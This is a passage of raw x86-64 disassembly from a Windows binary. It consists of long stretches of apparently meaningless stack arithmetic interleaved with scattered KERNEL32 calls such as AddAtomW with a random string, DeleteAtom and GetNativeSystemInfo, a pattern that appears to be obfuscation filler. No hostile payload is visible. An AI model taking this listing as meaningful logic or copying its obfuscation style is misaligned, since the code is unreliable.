mov qword [rsp + 0x5098], rax
mov r9d, 0x110e
xor r8d, r8d
lea rdx, [rsp + 0x7b90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2018], eax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x84b0], rax
mov rax, qword [rsp + 0x8280]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x44f0]
mov qword [rsp + 0x84b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x84b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x63d8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xda0]
mov rcx, qword [rsp + 0x7c30]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x77b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c510]
mov word [rcx], ax
lea rax, [rsp + 0x3630]
mov qword [rsp + 0x84c0], rax
mov rax, qword [rsp + 0x8248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
sar eax, cl
mov word [rsp + 0xed8], ax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x7530]
mov rcx, qword [0x14018ace0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0x44a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x3458]
mov qword [rsp + 0x84c8], rax
mov rax, qword [0x14018bde0]
mov ecx, dword [rsp + 0x2240]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov dword [rcx], eax
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0x84d0], rax
lea rax, [rsp + 0x7e38]
mov qword [0x14018c8e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2104], eax
mov rax, qword [rsp + 0x5860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c4]
and eax, ecx
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x4d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2094]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6868]
mov dword [rcx], eax
lea rax, [rsp + 0x580]
mov qword [rsp + 0x84d8], rax
mov rax, qword [rsp + 0x4470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c68]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7b18]
mov word [rcx], ax
mov eax, dword [rsp + 0x2158]
mov ecx, dword [rsp + 0x2138]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb4], eax
movsx eax, byte [rsp + 0x1d6]
movsx ecx, byte [rsp + 0x1fe]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
lea rax, [rsp + 0x8140]
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x64f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x688]
and eax, ecx
mov rcx, qword [rsp + 0x71a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4728]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14018ae38], ax
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x7838]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4218]
mov rax, qword [rax]
mov qword [rsp + 0x84e8], rax
mov rax, qword [rsp + 0x38a8]
mov rcx, qword [rsp + 0x82f0]
mov qword [rsp + 0x84f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x84f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2af0], rax
movsx eax, word [rsp + 0xda0]
movsx ecx, word [rsp + 0xce8]
sar eax, cl
mov word [rsp + 0x6ec], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x84f8], rax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x4820]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x48d0]
mov byte [rcx], al
movzx ecx, word [rsp + 0xe28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0x6388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d08], rax
lea rax, [rsp + 0x2050]
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x73e8]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
add eax, ecx
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0x6a68]
mov eax, dword [rax]
mov dword [rsp + 0x229c], eax
movsx eax, word [rsp + 0xf5c]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [0x14018c640]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c68]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x59d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x3c0]
mov rcx, qword [rsp + 0x4460]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6458]
mov word [rcx], ax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x8508], rax
mov eax, dword [rsp + 0x20ac]
mov rcx, qword [rsp + 0x80a8]
mov qword [rsp + 0x8510], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8510]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5398]
mov dword [rcx], eax
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x8518], rax
mov rax, qword [rsp + 0x6398]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6560]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7e70]
mov byte [rcx], al
movsx eax, word [rsp + 0x580]
movsx ecx, word [rsp + 0x57c]
sub eax, ecx
mov rcx, qword [rsp + 0x6280]
mov word [rcx], ax
movzx eax, word [rsp + 0x7bc]
mov word [rsp + 0xfc0], ax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x5fa8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x72f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x2ca8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3398], rax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x7b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5b28], rax
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x8520], rax
mov eax, dword [rsp + 0x1d94]
mov rcx, qword [rsp + 0x3eb0]
mov qword [rsp + 0x8528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8528]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6f70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1d8]
imul eax, eax, 0x77
mov rcx, qword [rsp + 0x5378]
mov byte [rcx], al
mov rax, qword [rsp + 0x81a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2028]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1efc], eax
mov rax, qword [rsp + 0x8448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10e]
and eax, ecx
mov rcx, qword [rsp + 0x6708]
mov byte [rcx], al
mov rax, qword [rsp + 0x8380]
movzx eax, word [rax]
mov word [0x14018c8f0], ax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x8530], rax
mov rcx, qword [rsp + 0x5c28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7a98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf14]
sub eax, ecx
mov word [rsp + 0x404], ax
movzx eax, word [rsp + 0xf24]
mov rcx, qword [rsp + 0x4a08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5960]
mov word [rcx], ax
mov eax, dword [rsp + 0x1da4]
mov dword [rsp + 0x22a0], eax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x19f]
and eax, ecx
mov byte [rsp + 0x21a], al
lea rax, [0x14018c4b8]
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0x7858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3e18]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x4320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7af0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xdc4], ax
lea rax, [0x14018c5b8]
mov qword [0x14018c8f8], rax
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x8540], rax
mov rax, qword [rsp + 0x8220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7030]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7098]
mov qword [rcx], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x8548], rax
lea rcx, str.BewXs9jG_xg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfc4], ax
movzx eax, word [0x14018adb4]
movzx ecx, word [rsp + 0xca4]
shl eax, cl
mov rcx, qword [rsp + 0x7790]
mov word [rcx], ax
mov rax, qword [rsp + 0x5860]
movzx eax, byte [rax]
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2108]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d50]
movzx ecx, al
mov rax, qword [rsp + 0x6168]
shr rax, cl
mov qword [rsp + 0x3a08], rax
movsx eax, byte [rsp + 0x1c7]
movsx ecx, byte [rsp + 0x19a]
add eax, ecx
mov rcx, qword [0x14018bf70]
mov byte [rcx], al
mov rax, qword [rsp + 0x56a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7828]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x43c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7da8]
movzx eax, word [rax]
mov word [rsp + 0xfc8], ax
movzx eax, word [0x14018acdc]
movzx ecx, word [rsp + 0xa9c]
and eax, ecx
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x8130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5268]
mov qword [rcx], rax
mov rax, qword [0x14018bde0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d98], eax
movsx eax, byte [rsp + 0x20f]
movsx ecx, byte [rsp + 0x1a9]
sub eax, ecx
mov byte [rsp + 0x1b1], al
lea rax, [rsp + 0x5c00]
mov qword [rsp + 0x8550], rax
movsx eax, word [rsp + 0xe90]
mov rcx, qword [0x14018c1a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe40], ax
lea rax, [rsp + 0xbdc]
mov qword [0x14018c900], rax
mov rax, qword [rsp + 0x6760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b60], rax
movzx eax, word [0x14018bdc8]
mov word [rsp + 0xfcc], ax
movzx eax, byte [rsp + 0x1e1]
movzx ecx, byte [rsp + 0x1ae]
xor eax, ecx
mov rcx, qword [rsp + 0x7840]
mov byte [rcx], al
mov rax, qword [rsp + 0x7088]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4a58]
mov qword [rsp + 0x8558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8558]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1b2c], eax
mov rax, qword [0x14018c200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5dc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c18]
mov qword [rsp + 0x8560], rax
mov rax, qword [0x14018c088]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x44c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7210]
mov word [rcx], ax
movzx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0x4f90]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ad04], ax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov qword [rsp + 0x8568], rax
mov rax, qword [rsp + 0x7408]
mov rax, qword [rax]
mov rcx, qword [0x14018c430]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5108]
mov qword [rcx], rax
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x8570], rax
movzx eax, word [rsp + 0xd60]
mov rcx, qword [0x14018c530]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf28], ax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x78b0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1bc]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb1], al
mov eax, dword [rsp + 0x2214]
mov ecx, dword [0x14018c570]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x7608]
mov qword [rsp + 0x8578], rax
movzx eax, word [rsp + 0xd38]
mov word [0x14018c908], ax
mov eax, 0x38
imul rax, rax, 0
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 0x31
mov byte [rax], 1
movzx eax, word [rsp + 0xd64]
movzx ecx, word [rsp + 0xf28]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x185]
movzx ecx, byte [rsp + 0x205]
shl eax, cl
mov byte [rsp + 0x1ed], al
mov eax, dword [rsp + 0x1f8c]
mov dword [rsp + 0x22a4], eax
mov rax, qword [rsp + 0x6b38]
mov rcx, qword [rsp + 0x6030]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5ed0]
mov qword [rcx], rax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x8580], rax
mov rax, qword [rsp + 0x58e8]
mov ecx, dword [rsp + 0x1cd4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x45d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2e80]
shr rax, cl
mov rcx, qword [rsp + 0x59c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x644], ax
movzx eax, word [rsp + 0xf14]
movzx ecx, word [0x14018ad08]
sub eax, ecx
mov rcx, qword [0x14018c598]
mov word [rcx], ax
mov rax, qword [rsp + 0x7868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x84a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x92c]
mov word [rsp + 0xfd0], ax
movsx eax, word [rsp + 0xf54]
mov rcx, qword [0x14018c180]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x588], ax
mov rax, qword [rsp + 0x4498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6290]
mov qword [rsp + 0x8588], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8588]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x48a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1da4]
mov dword [rsp + 0x22a8], eax
movsx eax, byte [rsp + 0x19a]
mov rcx, qword [0x14018c650]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x20f], al
mov rax, qword [rsp + 0x65c8]
mov rcx, qword [rsp + 0x47f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c08], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf78], ax
movzx eax, word [rsp + 0xf74]
mov rcx, qword [0x14018bef0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x91c], ax
mov rax, qword [rsp + 0x6268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x8590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8590]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14018c0c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1efc]
mov dword [rsp + 0x22ac], eax
mov rax, qword [rsp + 0x6f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
xor eax, ecx
mov rcx, qword [rsp + 0x4c88]
mov byte [rcx], al
mov rax, qword [rsp + 0x3e18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac4]
or eax, ecx
mov word [rsp + 0xb58], ax
movzx eax, word [rsp + 0x8e4]
movzx ecx, word [rsp + 0xd64]
sar eax, cl
mov word [rsp + 0x504], ax
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x5c00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d98]
mov qword [rcx], rax
lea rax, [rsp + 0x1c7]
mov qword [rsp + 0x8598], rax
mov rax, qword [rsp + 0x5eb0]
mov ecx, dword [rsp + 0x1cd4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x82b0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0x5390]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc90], ax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xf7c]
mov rcx, qword [rsp + 0x7e80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018ae3c], ax
mov rax, qword [rsp + 0x5848]
mov rax, qword [rax]
mov qword [rsp + 0x85a0], rax
mov rax, qword [rsp + 0x33c8]
mov rcx, qword [rsp + 0x6af0]
mov qword [rsp + 0x85a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x85a8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x55c0]
mov qword [rcx], rax
lea rax, [rsp + 0x3718]
mov qword [rsp + 0x85b0], rax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [0x14018c908]
sub eax, ecx
mov word [rsp + 0xc90], ax
mov rax, qword [rsp + 0x7cf8]
mov rcx, qword [rsp + 0x6d48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
lea rax, [rsp + 0x21c4]
mov qword [rsp + 0x85b8], rax
mov rax, qword [rsp + 0x7468]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6438]
mov byte [rcx], al
mov rax, qword [rsp + 0x7620]
mov eax, dword [rax]
mov dword [rsp + 0x22b0], eax
mov rax, qword [rsp + 0x7738]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d8]
xor eax, ecx
mov byte [rsp + 0x1b4], al
lea rax, [rsp + 0xdd4]
mov qword [0x14018c910], rax
lea rax, [rsp + 0x764]
mov qword [rsp + 0x85c0], rax
movzx eax, word [rsp + 0xfc0]
mov rcx, qword [rsp + 0x7340]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x7a58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x63a0], rax
lea rax, [rsp + 0x5c00]
mov qword [rsp + 0x85c8], rax
mov eax, dword [rsp + 0x2158]
mov rcx, qword [rsp + 0x61c8]
mov qword [rsp + 0x85d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x85d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1c3c], eax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0x85d8], rax
mov rax, qword [0x14018beb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd3c]
sub eax, ecx
mov word [rsp + 0xd30], ax
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xf0c]
add eax, ecx
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x5690]
mov rcx, qword [0x14018c580]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c6f8]
mov qword [rcx], rax
lea rax, [rsp + 0xfa4]
mov qword [rsp + 0x85e0], rax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a68], rax
lea rax, [rsp + 0x3118]
mov qword [rsp + 0x85e8], rax
mov rax, qword [0x14018bfc8]
mov rcx, qword [rsp + 0x6168]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8108]
mov qword [rsp + 0x85f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x85f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1bec], eax
mov rax, qword [rsp + 0x4fe8]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
sub eax, ecx
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x6630]
mov ecx, dword [rsp + 0x2270]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8398]
mov dword [rcx], eax
lea rax, [rsp + 0x1e2]
mov qword [rsp + 0x85f8], rax
lea rax, [0x14018c080]
mov qword [0x14018c918], rax
mov rax, qword [rsp + 0x64d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
or eax, ecx
mov rcx, qword [rsp + 0x4348]
mov word [rcx], ax
movzx eax, word [rsp + 0xf8c]
mov rcx, qword [rsp + 0x4460]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3c0], ax
mov rax, qword [rsp + 0x4850]
movzx eax, word [rax]
mov word [rsp + 0xfd4], ax
movsx eax, byte [rsp + 0xb1]
movsx ecx, byte [rsp + 0x1de]
xor eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x5f98]
mov ecx, dword [rsp + 0x1fe4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1dd4], eax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fa8]
shr rax, cl
mov rcx, qword [rsp + 0x60b0]
mov qword [rcx], rax
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x8600], rax
movzx eax, word [rsp + 0xd7c]
mov rcx, qword [rsp + 0x60c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a80]
mov rcx, qword [rsp + 0x7e38]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018c440], rax
mov rax, qword [rsp + 0x7920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5aa8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51e8]
mov qword [rsp + 0x8608], rax
mov rax, qword [rsp + 0x7b38]
mov rcx, qword [rsp + 0x6f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3eb8], rax
lea rax, [rsp + 0x4fc]
mov qword [rsp + 0x8610], rax
mov rax, qword [rsp + 0x6498]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x22b4], eax
mov rax, qword [rsp + 0x4478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fc0]
sar eax, cl
mov rcx, qword [rsp + 0x5d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62a8]
movzx eax, byte [rax]
mov byte [rsp + 0x220], al
movzx ecx, word [rsp + 0xf2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe38], ax
mov edx, 0xd5
mov rcx, qword [rsp + 0x4660]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2018], eax
mov rax, qword [rsp + 0x8518]
mov rcx, qword [0x14018c770]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4a70]
mov qword [rcx], rax
lea rax, [rsp + 0x2084]
mov qword [0x14018c920], rax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x8618], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov word [rcx], ax
mov rax, qword [0x14018c878]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5218]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb78], ax
lea rax, [rsp + 0x5668]
mov qword [rsp + 0x8620], rax
mov rax, qword [rsp + 0x73d8]
mov rcx, qword [0x14018c608]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6b18]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [rsp + 0x1e0]
add eax, ecx
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x210c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
movzx eax, word [0x14018c690]
mov word [rsp + 0xfd8], ax
mov rax, qword [rsp + 0x7e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6a8]
sar eax, cl
mov word [0x14018c850], ax
mov rax, qword [rsp + 0x6528]
mov rcx, qword [rsp + 0x7948]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6d88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6aa0]
mov word [rcx], ax
lea rax, [rsp + 0x2108]
mov qword [rsp + 0x8628], rax
movzx eax, byte [rsp + 0x21c]
mov rcx, qword [rsp + 0x52a8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
lea rax, [0x14018bdcb]
mov qword [rsp + 0x8630], rax
mov rax, qword [rsp + 0x4c70]
mov rcx, qword [rsp + 0x56c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x57a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x77d8]
mov rcx, qword [0x14018c550]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2238], eax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x8638], rax
movzx eax, word [rsp + 0x8e4]
mov word [0x14018c928], ax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x8018]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f28], rax
mov rax, qword [rsp + 0x84c0]
mov rax, qword [rax]
mov rcx, qword [0x14018c788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f50], rax
movsx eax, word [rsp + 0x768]
mov rcx, qword [rsp + 0x59e8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7340]
movzx eax, word [rax]
